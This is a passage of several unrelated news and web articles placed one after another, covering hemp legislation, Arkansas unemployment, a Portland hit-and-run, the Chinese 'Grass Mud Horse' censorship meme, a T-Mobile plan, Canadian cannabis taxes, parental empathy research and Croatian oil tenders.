to bleed atop a fire ant mound in 1990. The Chronicle ordinarily does not identify sexual assault victims, but Schuett approved use of her name.  Her assailant, Dennis Bradford, made a videotaped confession to the attack before hanging himself this year after his DNA from an Arkansas conviction in 1997 was finally linked to a stain on Schuett's pink pajamas.  Feeling lucky to be alive, Schuett says swabbing the inside of an arrestee's cheek is a small price to pay for saving a life.  cindy.horswell@chron.com
-LAS VEGAS, NV--(Marketwired - Jun 22, 2016) - As hemp legalization continues to make major inroads in the industrial hemp industry across America, Hemp, Inc. ( OTC PINK : HEMP) is pleased to report that Rhode Island's legislature has passed a bill to "legalize the production and processing of industrial hemp for commercial purposes in the state." According to the Rhode Island General Assembly, HB 8232, which may also be cited as Rhode Island's "Hemp Growth Act", would take effect on January 1, 2017 and would permit the growth of hemp by properly licensed individuals that have applied and met the requirements and would also allow higher educational institutions to grow hemp for educational and research purposes pending approval from the Department of Health.  In an article posted by The Tenth Amendment Center, the bill was initially introduced on May 19, 2016 as legislation that "would have allowed state-licensed representatives of the Narragansett Indian Tribe to produce, possess, distribute, and commercially trade industrial hemp. In a rapid series of events, the bill was amended in the House Committee of Health Education and Welfare to apply to everybody. On June 17, the House passed the amended bill 71-0. The Senate concurred the next day by a 26-7 margin."  Rhode Island Governor Gina Raimondo will either sign or veto the bill. As with North Carolina, if she doesn't act, the bill will become law without her signature. Many believe this law is yet another stepping stone in nullifying federal prohibition of hemp.  Bruce Perlowin, CEO of Hemp, Inc. ( OTC PINK : HEMP), said, "Yesterday, it was New York. Today, it's Rhode Island. This shows the hemp revolution is unstoppable and relentless. More and more states are realizing how important hemp is to the American culture with its amazing economic benefits as demand for hemp in the marketplace continue to grow by leaps and bounds."  The Hemp Grow Act would prohibit Rhode Island's Business Regulation department from adopting any rules prohibiting a person or entity from growing or distributing hemp based on the legal status of hemp under federal law. While specific language in the bill acknowledges federal prohibition on hemp, the language also asserts that the state can legally dictate its own policy notwithstanding federal law.  Hemp, Inc.'s press release yesterday reported on New York's passage of Bill (A9310/S6960). This bill would allow for the "transportation, processing, sale, and distribution of industrial hemp" as part of the State's research pilot program.  The first half of 2016 has been amazing.  In January, with a unanimous approval in both chambers of legislature, Nevada made it legal to cultivate hemp under current federal guidelines.  Virginia House of Delegates passed a bill to authorize the farming and production of industrial hemp in the state for commercial purposes with a 98-0 vote.  Kansas' Senate Bill 147 would legalize hemp oil for treating seizure disorders.  In Maine, a new law authorizes individuals and businesses to engage in the farming, production, and commerce of hemp in Maine.  In February, South Dakota House of Representatives approved a bill that would allow the cultivation of industrial hemp in the state of South Dakota.  In March, Hawaii passed a bill "that would allow the state Department of Agriculture to create pilot research programs for industrial hemp are moving through both chambers of the state Legislature."  In Oregon's 2016 legislative session, lawmakers passed agriculture-related bills which included allowing growers to cultivate hemp in greenhouses and "propagate it from cuttings under House Bill 4060, which eliminates the requirement that the crop be directly seeded in fields of at least 2.5 acres."  In Washington, state legislature also passed a bill that would allow licensed growers to produce industrial hemp in Washington as part of a research program.  Pennsylvania Senate voted 49-0, a unanimous vote, in favor of industrial hemp to provide for an industrial hemp cultivation pilot program in the Commonwealth through the establishment of an Industrial Hemp Licensing Board within Pennsylvania's Department of Agriculture.  In April, Missouri's House of Representatives passed industrial hemp bill HB 2038 which is set to legalize and regulate the cultivation of industrial hemp in the state of Missouri.  Alabama House and Senate passed an industrial hemp bill that would authorize the Department of Agriculture and Industries to administer an industrial hemp research program.  Louisiana's House Agriculture Committee approved two bills to the House floor, HB1085 and HB1099 which authorizes institutions of higher education to develop a pilot program to study the growth, cultivation or marketing of industrial hemp for agricultural or academic research.  Hemp, Inc. also reached a few milestones. The company had announced its first Kenaf harvest from its wholly owned subsidiary, Industrial Hemp Manufacturing, LLC, in Spring Hope, North Carolina. One hundred fifty acres of Kenaf were cut, raked, baled and transported to Hemp, Inc.'s 70,000 square foot industrial hemp processing facility where it was weighed, stored and paid for. It went from seed, to harvest, to paying the farmers. With the company's 150-acre Kenaf crop, it was able to inject revenue into the local farming community.  Hemp, Inc.'s 70,000 square foot multipurpose industrial hemp processing plant is in its final stages of completion. Spread over 9 acres, the processing facility makes up the central spoke of our North Carolina Hemp Hub. To see video footage of America's largest commercial hemp processing facility click here.  ABOUT THE NATIONAL HEMP ASSOCIATION  The National Hemp Association is a Colorado-based 501(c)6 trade association that supports the growth and development of all aspects of the emerging industrial hemp industry. NHA members include hemp farmers, processors, manufacturers, researchers, policy makers, elected and appointed officials, investors, and citizens who are in favor of the re-birth of industrial hemp as a major U.S. cash crop and sustainable agricultural commodity. Industrial hemp can provide significant jobs for farmers and small businesses and stimulate economic development for every state in the U.S.  More information at: (303) 413-8066 and www.NationalHempAssociation.org or to become a member of the NHA, click here.  SUBSCRIBE TO HEMP, INC.'S VIDEO UPDATES  "Hemp, Inc. Presents" is capturing the historic, monumental re-creation of the hemp decorticator today as America begins to evolve into a cleaner, green, eco-friendly sustainable environment. What many see as the next American Industrial Revolution is actually the Industrial Hemp Revolution. Join "Hemp, Inc. Presents" and join the hemp revolution.  Watch as Hemp, Inc., the #1 leader in the industrial hemp industry, engages its shareholders and the public through each step in bringing back the hemp decorticator as described in the "Freedom Leaf Magazine" article "The Return of the Hemp Decorticator" by Steve Bloom. Freedom Leaf Magazine, a leading cannabis industry magazine is published by the public company, Freedom Leaf Magazine, Inc. "Hemp, Inc. Presents" is accessible 24 hours a day, 7 days a week, by visiting www.hempinc.com. To subscribe to the "Hemp, Inc. Presents" YouTube channel, be sure to click the subscribe button.  Subscribers will automatically get an email from YouTube every time a new Hemp, Inc. video update is posted along with suggestions of other similar videos. Stay up-to-date with the progress of Hemp, Inc.'s multipurpose industrial hemp processing plant while being educated on the industrial hemp industry. Our video update views are collectively reaching over a thousand views per week. Stay informed by subscribing to Hemp, Inc.'s video updates. Hemp, Inc. is positioning itself to be the avant-garde of the industrial hemp industry and processing industrial hemp.  HEMP NATION MAGAZINE  HempNationMagazine.com (HNM) is published by Hemp, Inc. and focuses on informing, educating, raising awareness and connecting the public to the powerful world of HEMP. HNM reports on Politics, Industrial Growth, Banking, Distribution, Medical, Lifestyles and Legalization. HNM is your source for all things HEMP and news about this emerging multi-billion-dollar industry. For more information on HNM, visit www.HempNationMagazine.com.  ABOUT INDUSTRIAL HEMP  Hemp is a durable natural fiber that is grown as a renewable source for raw materials that can be incorporated into thousands of products. It's one of the oldest domesticated crops known to man. Hemp is used as a nutritional food product for humans and pets, building materials, paper, textiles, cordage, organic body care and other nutraceuticals, just to name a few. It has thousands of other known uses. A hemp crop requires half the water alfalfa uses and can be grown without the heavy use of pesticides.  Farmers worldwide grow hemp commercially for fiber, seed, and oil for use in a variety of industrial and consumer products. The United States is the only developed nation that fails to cultivate industrial hemp as an economic crop on a large scale, according to the Congressional Resource Service. However, with rapidly changing laws and more states gravitating towards industrial hemp and passing an industrial hemp bill, that could change. Currently, the majority of hemp sold in the United States is imported from China and Canada, the world's largest exporters of the industrial hemp crop.  HEMP, INC.'S TRIPLE BOTTOM LINE  Hemp, Inc. ( OTC PINK : HEMP) seeks to benefit many constituencies from a "Cultural Creative" perspective, thereby not exploiting or endangering any group. CEO of Hemp, Inc., Bruce Perlowin, is positioning the company as a leader in the industrial hemp industry, with a social and environmental mission at its core. Thus, the publicly traded company believes in "up streaming" a portion of its profits back to its originator, in which some cases will one day be the American small farmer -- cultivating natural, sustainable products as an interwoven piece of nature. By Hemp, Inc. focusing on comprehensive investment results -- that is, with respect to performance along the interrelated dimensions of people, planet, and profits -- the triple bottom line approach can be an important tool to support its sustainability goal.  SOCIAL NETWORKS:  http://www.twitter.com/hempinc (Twitter)  http://www.facebook.com/hempinc (Facebook)  SAFE HARBOR ACT  Forward-Looking Statements are included within the meaning of Section 27A of the Securities Act of 1933, and Section 21E of the Securities Exchange Act of 1934, as amended. All statements regarding our expected future financial position, results of operations, cash flows, financing plans, business strategy, products and services, competitive positions, growth opportunities, plans and objectives of management for future operations, including words such as "anticipate," "if," "believe," "plan," "estimate," "expect," "intend," "may," "could," "should," "will," and other similar expressions are forward-looking statements and involve risks, uncertainties and contingencies, many of which are beyond our control, which may cause actual results, performance, or achievements to differ materially from anticipated results, performance, or achievements. We are under no obligation to (and expressly disclaim any such obligation to) update or alter our forward-looking statements, whether as a result of new information, future events or otherwise.
-Arkansas’ monthly unemployment rate fell below 7% for the first time in five years and dropped for the sixth consecutive month.  New numbers released by the Arkansas Department of Workforce Services showed the March jobless rate dipped two-tenths of a percent to 6.9%. One year ago, unemployment stood at 7.4%. The U.S. jobless rate was unchanged from February at 6.7%.  “Arkansas’ unemployment rate dropped below seven percent in March for the first time since January 2009. This is the sixth consecutive month that Arkansas’ jobless rate has declined,” said DWS Communications Director Becky Heflin.  Employment also climbed in March to 1,238,900, an increase of 2,400 workers from the previous month and an increase of 10,200 workers since last year. The number of unemployed fell dramatically – also by 2,400 workers from February – and is down 7,100 from a year ago as workers exited the Arkansas labor force through retirement, leaving the state, or just giving up.  In the monthly survey of employers, a separate jobs report released with labor statistics, Arkansas saw eight industry sectors achieve gains compared to one year ago, while three sectors saw year-over-year declines.  Notably, construction jobs have experienced a healthy rebound with an estimated 1,600 new jobs created in the sector in the last year.  Gainers and decliners included:  Change from March 2013 to March 2014  Mining & Logging -100  Construction +1,600  Manufacturing +400  Trade/Transportation +2,200  Information -500  Financial +600  Professional/Business +1,100  Education/Health +2,900  Leisure/Hospitality +4,400  Other +800  Government -400  You can access the full report here.  Comments  comments
-With the most important New York presidential primary in 40 years only a day away, Hillary Clinton is making every mile count in the metro area.  On her way in from home, this morning, she stopped in neighboring Yonkers to visit staff at St. John’s Riverside Hospital.  Then she detoured to Queens where she met up with newly unionized employees at a car wash and lube.  Joined by Senator Chuck Schumer, she stopped of at Queens Crossing Mall for some bubble tea, dim-sung, and selfies of course!  Then it was on to mid-town where she was scheduled to hold a rally with Women for Hillary at the Hilton.  Hillary heads into the New York contest with strong endorsements from the New York Times, the New York Daily News, and Newsday. Looking ahead to upcoming primaries, she also earned endorsements from the Philadelphia Inquirer, the Hartford Courant, and the Providence Rhode Island Journal.  If you have friends in New York, or if you are a New Yorker with friends in other parts of the Empire State, you can encourage them to vote for Hillary!  Make sure your friends in New York vote for Hillary on Tuesday. Send them a message with our friend finder: https://t.co/iQVioFqAW7 🗽 — Hillary for America (@HFA) April 17, 2016
-PORTLAND, Ore. – Police have released names of the victims in Saturday's deadly hit-and-run crash in Northeast Portland.  The man killed in the crash was identified as Peter West Gefre, 26, of Gresham. The other four people who were injured were identified as 32-year-old Gabriel Xesmas Mata, 18-year-old Elizabeth Tate, 26-year-old Nicholas Bennett and 40-year-old Michael Genuine.  Meantime, the manhunt continues for David Augustine Saucedo, 36, the suspected driver in the hit-and-run crash.  Police say Saucedo ran a stop sign at Northeast 157th Avenue and Halsey Street and crashed into a pickup truck at about 5:30 a.m.  Crash at Northeast 157th Avenue and Halsey Street  Saucedo fled the scene on foot, according to investigators who identified him after finding his driver's license in the car. He is wanted on felony hit-and-run charges.  There were four passengers in Saucedo's car, according to police. Gefre was pronounced dead at the scene, police said. Tate and Bennett were taken to Portland hospitals with injuries that did not appear to be life threatening.  Mata ran from the scene but was located and taken to a hospital with non-life-threatening injuries, police said.  Genuine had been driving the pickup truck and did not have any passengers in his vehicle. He was also hospitalized and his injuries that did not appear to be life-threatening, police said.  Northeast Halsey Street between 155th and 162nd avenues was closed for several hours during the investigation.  Anyone with information about the Saucedo's whereabouts is asked to call police non-emergency line at 503-823-3333.  Top local headlines:  Pillar of Ore. Muslim community killed in Wash. Co.  15 hours: Inside the interrogation of Beau Smith  Funeral procession for slain Seaside officer  Watch: Sheriff calls for peace after Malheur standoff ends  Follow us on Facebook for the latest breaking news updates  Watch live or check weather & traffic updates on the go with the KGW News app
-Chinese internet meme  The Baidu 10 Mythical Creatures (simplified Chinese: 百度十大神兽; traditional Chinese: 百度十大神獸; pinyin: bǎidù shí dà shénshòu), alternatively Ten Baidu Deities, was initially a humorous hoax from the interactive encyclopedia Baidu Baike which became a popular and widespread Internet meme in the China in early 2009.[1][2]  These hoaxes, ten in number, are regarded by western media as a response to online censorship in China of profanity, and considered as an example of citizens' circumvention to censorship.[3][4]  Details [ edit ]  Arising in early 2009,[5] the meme initially began as a series of vandalised contributions to Baidu Baike,[6] through the creation of humorous articles describing a series of fictional creatures, with each animal with names vaguely referring to Chinese profanities (utilizing homophones and characters using different tones).[7] Eventually, images, videos (such as faux-documentaries) and even a song regarding aspects of the meme were released.[8] It was thought that the Baidu hoaxes were written in response to recent strict enforcements of keyword filters in China, introduced in 2009, which attempted to eliminate all forms of profanity.[9][10] The Baidu Baike "articles" initially began with "Four Mythical Creatures" (The "Grass Mud Horse", "French-Croatian Squid", "Small Elegant Butterfly" and "Chrysanthemum Silkworms"), and were later extended to ten.  The memes became widely discussed on Chinese Internet forums, and most users concluded that the initial aim of the hoaxes were to satirise and ridicule the pointlessness of the new keyword filters. The meme is interpreted by most Chinese online as a form of direct protest rather than motiveless intentional disruption to Baidu services.[11] After the hoaxes were posted, news of the articles spread quickly online on joke websites, popular web portals and forums[12][13] such as Baidu Tieba, while a large number of posts were sent on the Tencent QQ Groups chat service. There have also been various parodies of the meme created (such as the "Baidu 10 Legendary Weapons"[14] and "Baidu 10 Secret Delicacies"[15][16]). Meme references can be found throughout Chinese websites.[17]  The 10 Mythical Creatures [ edit ]  The mythical creatures have names which are innocuous in written Chinese, but sound similar to and recognizable as profanities when spoken. References to the creatures, particularly the Grass Mud Horse, are widely used as symbolic defiance of the widespread Internet censorship in China; censorship itself is symbolized by the river crab, a near-homophone of "harmony" (a euphemism for censorship in reference to the Harmonious Society).[3]  Cao Ni Ma [ edit ]  Cao Ni Ma (草泥马, Cǎo Ní Mǎ), literally "Grass Mud Horse", was supposedly a species of alpaca. The name is derived from cào nǐ mā (肏你妈), which translates to "fuck your mother". Note that the comparison with the "animal" name is not an actual homophone, but rather the two terms have the same consonants and vowels with different tones, which are represented by different characters. Their greatest enemy are "river crabs" (河蟹, héxiè, resembles 和谐 héxié meaning "harmony", referring to government censorship to create a "harmonious society", while noting that river crabs are depicted wearing three wristwatches, vaguely referring to the Three Represents, where 代表 "represent" and 戴表 "to wear a watch" are homophones, both pronounced dàibiăo), and are said to be frequently seen in combat against these crabs.  Videos of songs,[18][19] as well as "documentaries" about "Grass Mud Horse" started appearing on YouTube and elsewhere on the Internet.[20][21] The video scored some 1.4 million hits; a cartoon attracted a quarter million more views; a nature documentary on its habits received 180,000 more.[3]  The "Grass Mud Horse" became widely known on the English-language web following the 11 March 2009 publication of a The New York Times article on the phenomenon,[3] sparking widespread discussion on blogs, and even attempts to create "Grass Mud Horse" themed merchandise, such as plush dolls.[citation needed]  Fa Ke You [ edit ]  Fa Ke You (法克鱿, Fǎ Kè Yóu), literally "French-Croatian Squid" (with the name derived from the direct Chinese transliteration of "fuck you" in English), was supposedly a species of squid discovered simultaneously by France (法国) and Croatia (克罗地亚), hence the name. The Baidu Baike article claims[22] that "Fa Ke You" is a species of invertebrate, aggressive squid found in Europe. When agitated, it is said that they release a form of "white-coloured liquid". These squids are said to cause great harm to humans when attacked. When some of these squids reached East Asia, it is said that they became hunted, and eaten with corn. Such a dish is known as yù mǐ fǎ kè yóu (玉米法克鱿, "Corn French-Croatian Squid", referring to the fans of Li Yuchun, dubbed "corns"), being one of the world's top five greatest delicacies. An alternate name for the dish in question is 非主流的法克鱿 (fēi zhǔ liú de fǎ kè yóu, "Non-mainstream French-Croatian Squid"). This is apparently due to the behaviour of these squids, which do not inhabit major rivers, or the "main stream" of a river system, thus scientists dubbing them as squids with "deviant behaviour".  Ya Mie Die [ edit ]  Ya Mie Die (雅蠛蝶, Yǎ Miè Dié), literally "Small Elegant Butterfly" (name derived from Japanese yamete (止めて), meaning "stop", a reference to rape scenes and common conceptions and stereotypes Chinese display towards the Japanese in regards to pornography and erotomania), was supposedly a type of butterfly discovered on 1 January 2009 at the Qinghai-Tibetan Plateau, and that legends state that there was once a Japanese girl who turned into these butterflies after harsh pressures during a romantic relationship.[23] The original article states that these butterflies are able to change colour, and are luminescent, naturally emitting light from their wings. This is due to the cold temperatures and low oxygen environment these butterflies live in. There are an estimated 14,000 butterflies living throughout the world, and thus are considered to be precious and highly uncommon.  Ju Hua Can [ edit ]  Ju Hua Can (菊花蚕, Jú Huā Cán), literally "Chrysanthemum Silkworms" (referring to Intestinal worms, where the term "Chrysanthemums" (júhuā) is vulgar slang which refers to the anus). This referred to Chrysanthemum Terrace, a song by Jay Chou, where the lyrics "菊花残，满地伤" (Chrysanthemums scattered, ground filled with wounds/the wounded) are re-rendered with homophones and similar sounds as "菊花蚕，满腚伤" ("Chrysanthemum(Anus)" worms, buttocks covered with wounds). Ju Hua Can can also be interpreted as a pun on another homophone, 菊花残, meaning "broken chrysanthemum", which would be slang for a "broken anus", referring to (possibly painful) anal sex, as 残 is a homophone meaning "broken". Such a phrase implies hopelessness, as once a person is given a "broken anus", they would find difficulty in sitting down, and so "broken Chrysanthemum" is a common (vulgar) Chinese idiom. These silkworms are said to feed on chrysanthemum flowers rather than mulberry leaves (from the article).[24] The article also states that the usage of Chrysanthemum Silkworms dates back to 3000 years ago in Ancient China, and that they were the first cultivation method of silk obtained by early scientists. The silk produced by silkworms that feed on chrysanthemums rather than mulberry are able to be produced at a much faster rate, are higher in mass, are fireproof, protective against ionizing radiation, bulletproof, and lightweight. However, these silkworms are very difficult to maintain, and easily die. They are vulnerable to cold, heat, and are susceptible to changes in humidity, and thus are very costly to nurture. Noblewomen from ancient times are said to pay large sums of money for such types of silk.  Chun Ge [ edit ]  Chun Ge (鹑鸽, Chún Gē), literally "Quail Pigeon" is a homophone with 春哥 (Brother Chun). This species of bird is apparently found only in Sichuan and Hunan; formerly found in the area that is now the Republic of Yemen.[25]  The term "Big Brother Chun" (春哥) has been used to refer to the female singer Li Yuchun due to her apparent androgynous appearance. "Yemen" comes from the catchphrase chūn gē chún yé men (春哥纯爷们), meaning "Brother Chun is a real man" — 爷, meaning "grandfather", can also be read as "masculine" (young males in Northeast China use the slang term 爷 as a personal pronoun in an impolite context). The 春 Chun can also refer to fa chun (发春), which is slang for sexual arousal – literally "Spring has come".  Ji Ba Mao [ edit ]  Ji Ba Mao (吉跋猫, Jí Bá Māo), literally "Lucky Journey Cat" (a homophone with 鸡巴毛, referring to pubic hair, as the homophone jība (鸡巴) is a vulgar term for "penis", while the definition of 毛 máo is "hair" or "fur"). The original article states that this cat lives in dark, damp environments and competes for food with the White Tiger (white tiger is a slang term for a woman's shaved pubic area). Additionally, the Ji Ba Mao flourished during the reign of the Zhengde Emperor.[26]  Wei Shen Jing [ edit ]  Wei Shen Jing (尾申鲸, Wěi Shēn Jīng), literally "Stretch-Tailed Whale" (a near-homophone with 卫生巾, wèishēngjīn, referring to menstrual pads). From the Baidu Baike article, it was first discovered by Zheng He during his maritime adventures. According to the article this creature was hunted for clothing material to manufacture women's lingerie.[27]  Yin Dao Yan [ edit ]  Yin Dao Yan (吟稻雁, Yín Dào Yàn), literally "Singing Field Goose" (a homophone with 阴道炎 Yīn Dào Yán, meaning a vaginitis infection). From the article on Yin Dao Yan, in the Kangxi era, a large goose dived into a certain field, damaging it and causing the local farmers to come down with a strange sickness.[28]  Da Fei Ji [ edit ]  Da Fei Ji (达菲鸡, Dá Fēi Jī), literally "Intelligent Fragrant Chicken" (a homophone with 打飞机 Dǎ Fēi Jī, slang for masturbation while literally meaning "hit the airplane"). According to the original article, Da Fei Ji is a species of bird that likes exercise, and the males use neck spasms and spit out a white secretion to impress females during mating seasons.[29]  Qian Lie Xie [ edit ]  Qian Lie Xie (潜烈蟹, Qián Liè Xiè), literally "Hidden Fiery Crab", closely resembles qián liè xiàn (前列腺), which translates to prostate glands. According to the article, this is a legendary crab that once stopped up the Grand Canal (referring to the urinary tract).[30]  Official reactions [ edit ]  The State Administration of Radio, Film, and Television issued a directive on 30 March 2009 to highlight 31 categories of content prohibited online, including violence, pornography, content which may "incite ethnic discrimination or undermine social stability". According to reports, the instruction follows the official embarrassment over the rise of the "Grass Mud Horse" phenomenon.[31]  See also [ edit ]  References [ edit ]  Notes [ edit ]
-Today, T-Mobile quietly released a new data-free cell phone plan: unlimited talk & text only for $25/mo, with taxes and fees included. Both new and existing T- Mobile customers can get unlimited talk & text only, but it's not available for No Credit Check or prepaid accounts.  Unlimited Talk & Text Only: features  This cell phone plan includes:  Unlimited talk & text in Mexico and Canada just like in the U.S. (data not included)  Simple Global rates for voice and messaging in over 140 countries and destinations (data not included)  Stateside International Unlimited Texting when in the US and texting other countries (Stateside International Talk may be added as an additional feature for $15/month)  Unlimited Talk & Text Only: fine print  Be aware of these details before you buy:  This plan does not include data and there is no option to add data. To use an app that requires data such as iMessage or WhatsApp, you'll need to connect to Wi-Fi.  and there is no option to add data. To use an app that requires data such as iMessage or WhatsApp, you'll need to connect to Wi-Fi. The autopay discount and Netflix on Us benefits are not available with this plan  This plan cannot be extended for international use; you must reside in the U.S.  Unlimited Talk & Text Only lines may not be added to an existing T-Mobile ONE taxes inclusive plan. You would need to migrate from your existing T-Mobile ONE or Simple Choice plan and give up your promotional benefits or your free or discounted line(s).  Cell Phone Plans Filters Plan Inclusions Price T-Mobile $20 Unlimited Talk & Text Only $20 Unlimited Talk & Text Only  $20 Unlimited Talk & Text Only No Data Included  Unlimited National Talk & Text  No Contract  $20 + $25 Upfront $ 20 + $25 Upfront Go T-Mobile ONE | Unlimited 55+ YRS ONLY ONE | Unlimited 55+ YRS ONLY  ONE | Unlimited 55+ YRS ONLY Unlimited Data  Unlimited National Talk & Text  No Contract  $50/mo + $25 Upfront $ 50 /mo + $25 Upfront Go T-Mobile ONE | Eligible Military ONLY ONE | Eligible Military ONLY  ONE | Eligible Military ONLY Unlimited Data  Unlimited National Talk & Text  No Contract  $55/mo + $25 Upfront $ 55 /mo + $25 Upfront Go T-Mobile Essentials Essentials  Essentials Unlimited Data  Unlimited National Talk & Text  No Contract  $60/mo + $25 Upfront $ 60 /mo + $25 Upfront Go T-Mobile ONE ONE  ONE Unlimited Data  Unlimited National Talk & Text  No Contract  $70/mo + $25 Upfront $ 70 /mo + $25 Upfront Go T-Mobile ONE Plus ONE Plus  ONE Plus Unlimited Data  Unlimited National Talk & Text  No Contract  $85/mo + $25 Upfront $ 85 /mo + $25 Upfront Go  About T-Mobile... T-Mobile is one of the "Big Four" cell phone carriers in the United States, a key player in the wireless market. Founded in 1994, T-Mobile USA is helmed by outspoken CEO John Legere. Network: T-Mobile's 4G LTE network runs on LTE bands 4 and 12. These bands use the frequencies 1900, 1700 def and 700a. For phones using 2G or 3G network technology, the T-Mobile network will primarily use the 1900 MHz frequency. Coverage: At last check, T-Mobile ranked #3 in overall coverage in the U.S. That may change, though, as the company quickly buys up spectrum in previously-uncovered areas. Where to Buy: T-Mobile products can be purchased online or at one of the company's over 3,500 U.S. stores. Bring Your Own Phone to T-Mobile: Customers can bring along their unlocked, GSM-compatible phones for service on T-Mobile. Just make sure that the device supports T-Mobile's LTE bands and 3G frequencies; you can check here. Tethering: T-Mobile's unlimited ONE plan includes unlimited hotspot data at up to 3G speeds. Customers can add ONE Plus to get unlimited Smartphone Mobile HotSpot data at up to 4G LTE speeds. Prepaid: T-Mobile offers a litany of prepaid plans, and also owns prepaid carrier MetroPCS. Taxes & Fees: One of the biggest perks of T-Mobile is that all taxes and fees are included in the price of their plans. Fact: T-Mobile's unlimited plans have been incredibly popular, and arguably moved the entire wireless industry in the direction of all-you-can-use talk, text and data plans. Learn more about T-Mobile via our carrier review. View All T-Mobile Plans
-Canada’s federal government has unveiled a federal tax plan that would impose an excise tax of $1 for every gram of cannabis or 10% of the purchase price, whichever of the two is higher. This proposed excise tax plan comes as Canada prepares for the legalization of recreational cannabis by July 2018.  The plan has earned the ire of patient advocate groups and medical marijuana proponents, as well as of licensed cannabis producers in the country. This is mainly because the proposed excise tax will apply to both recreational and medical cannabis and it will be applied on top of the sales tax that is already currently imposed on medical cannabis.  The government announced the federal tax proposal to the public last week, giving just enough time for public consultations before the provincial, federal, and territorial finance ministers discuss it on December 10 and 11. These public consultations will end on December 7.  Estimated tax revenues  Liberal MP Bill Blair, parliamentary secretary to the minister of justice, said that the government is committed to keeping a functional medical cannabis system, but it also does not want taxation levels to become an incentive for people to inappropriately use this system. This is why the government is proposing that the taxation levels for medical and non-medical cannabis be aligned.  He further contended that the level of taxation determined as appropriate in this particular instance will keep the price of cannabis sufficiently low so as to stay competitive with any illicit market, yet at the same time, does not create an incentive for users to purchase medical cannabis for recreational purposes.  Tax revenues are going to be split 50-50 between the federal government and the provinces. According to Blair, a rough estimate of the total tax revenues governments stand to raise from this plan is $1 billion a year. He clarified, however, that this amount is at the high end of the scale and it still depends on how many people are going to buy cannabis when it becomes legal.  He noted that the current cannabis market is still an almost entirely illicit market and those who control it do not share data on their market’s size. This, he explained, is the reason why the government is operating on mere estimates right now.  Furthermore, these estimates are under the assumption that every province approves the federal cannabis framework. Those who live in the provinces that do not sign this framework can still buy legal marijuana with a federal excise tax of 50 cents per gram or 5% of the final retail price and GST (Goods and Services Tax), plus whatever amount of tax their provincial government decides to impose or nothing if it decides on not adding excise tax.  Pro-cannabis groups are fuming  In a joint statement, the Arthritis Society and the Canadians for Fair Access to Medical Marijuana said that medical cannabis should be treated just as any other prescription medication and accordingly exempt it from taxation. Applying excise tax to medical cannabis, they said, unfairly disadvantages patients.  Jonathan Zaid, executive director of CFAMM, said that patients today make treatment choices based on their finances, including having to switch to less effective medications that carry severe side effects. The proposed excise tax to medical marijuana, he said, is going to further compound these issues, as well as impose barriers for patient access.  Professional cannabis producers also voiced out their concerns and think that patients do not need the added cost burden.  Some politicians are not eager about the proposal, too  Many politicians are not convinced that the plan is the right way to go for the provinces. For one, Charles Sousa, Ontario Minister for Finance, said that the revenue-sharing plan is not sufficient nor reasonable because it is the provinces that shoulder most of the costs – not Ottawa – that are associated with legalizing cannabis, including justice, enforcement, public education, and road safety.  According to Alberta Finance Minister Joe Ceci, he is not against the 10% tax, but he does not agree with the proposed 50/50 split. According to him, 100% of the tax revenues, or at least close to that percentage, should be given to the provinces because they are the ones who will do the dirty job and the heavy lifting when recreational marijuana is legalized.
-A happy family moment? Or the physical undoing of mom and dad? Wavebreakmedia Ltd via Thinkstock  A common, often buried, fear among parents is that our offspring are nothing more than highly evolved parasites, girl- and boy-shaped barnacles slowly draining their parental hosts of strength. A recent story on Quartz tapped right into this anxiety with the headline “Being a good parent will physiologically destroy you, new research confirms.”  “Our kids are killing us slowly!” one parent wrote on Facebook, in response. “Well, it’s been a good ride,” commented another parent I know.  The story is about a new study from Northwestern University that looked at the effect of parental empathy on parents and children. The researchers surveyed 247 sets of parents and adolescent children and found the more empathetic parents were, the better off their children were both psychologically and physiologically. Emphatic parents also report psychological boosts; they reported feeling a greater sense of purpose in their lives and higher self-esteem than the less-empathetic parents. Their bodies, on the other hand, sent a less uplifting message: The more empathetic parents were, the more likely they were to be experiencing chronic inflammation.  Erika M. Manczak, Northwestern psychology graduate student and the lead author of the study, said parents should be careful not to exaggerate her findings. “I don’t think it’s fair to say that parents will be irrevocably physiologically damaged by being empathic,” she said. “Rather, this research suggests that these parents have elevations in risk markers that, if sustained over time, may play a role in important health processes.”  There’s plenty of evidence showing that parenting isn’t an unavoidable path to physical demise. A large-scale study from Denmark found that people with children live longer than those without them. Women who have children and/or breastfeed are less likely to get breast cancer, and may get some relief from conditions like endometriosis and polycystic ovaries. And a study from the National Institute of Mental Health found that fathers with healthy family relationships have fewer stress-related health issues like chest pain, insomnia, fatigue, and indigestion. Also, having children often motivates parents to make healthier lifestyle choices. In a Babycenter poll, over half of the 30,000 respondents said that they had begun taking better care of their health since becoming a mom.  By focusing only on the ways in which parenting might physically ruin people—or, as Quartz put it, “tear them up”—it’s easy to overlook the more fascinating finding in Manczak’s research: the divergence between psychological and physiological health. Most of us know that we need to reduce stress in order to avoid chronic inflammation; we may assume that if someone doesn’t feel stressed out then their body probably doesn’t either. But this study suggests that it’s quite possible not to feel stress mentally but still experience it physically. (Edith Chen, co-author of Manczak’s study, found similar results in a 2013 study she did on African-American teenagers in the rural south.)  Manczak said she is hesitant to draw any large-scale conclusions from the study because it is correlational, and therefore does not offer a clear relationship between cause-and-effect. Still, her research found that there is something unique about parental empathy and the toll it takes on parents. The researchers controlled for other parental behaviors like stress, depression, how warm parents are in general, and the amount of time parents spend with children, and discovered that none of them had as clear a relationship to inflammation as empathy.  But before we all start taking parenting lessons from All in the Family or Married with Children, Manczak wants to make it clear that her findings should not be interpreted as a suggestion to be less empathetic. “I would absolutely hate for parents to be less empathetic,” she said. “What this tells us is that parents need to make time for their own mental and physical health, and understand that it is a disservice to themselves and their children if they are not.” This goes for parents who feel stressed, as well as those who don’t.
-Croatia has received six bids in an international tender for oil and gas exploration areas in the Adriatic, and will choose the best ones by the end of the year, Economy Minister Ivan Vrdoljak said yesterday (3 November).  “We are satisfied, we’ve received bids from big, serious companies,” Vrdoljak told reporters. The government sees oil exploration as a key project for the newest EU member, whose economy has been stuck in recession since 2008.  Croatia says it expects investment worth some €2 billion over the next five years in exploration activities.  Local media have earlier reported oil majors like Exxon , Shell, Chevron and Total as being interested but Vrdoljak declined to name any of the bidders.  The tender, which closed on Monday after running for seven months, comprised 29 block areas for exploration and future exploitation, eight in the north and 21 in central and southern Adriatic. The size of one block ranges from 1,000 to 1,600 square kilometres.  View from a cruise ship. Croatian coastline, 2012. [Robert Pittman/Flickr]  View from a cruise ship. Croatian coastline, 2012. [Robert Pittman/Flickr]  Each bidder was allowed to compete for an unlimited number of blocks. The six submitted bids were for 15 blocks altogether, Vrdoljak said. The government plans to sign concession agreements by the spring 2015.  The exploration concession will be 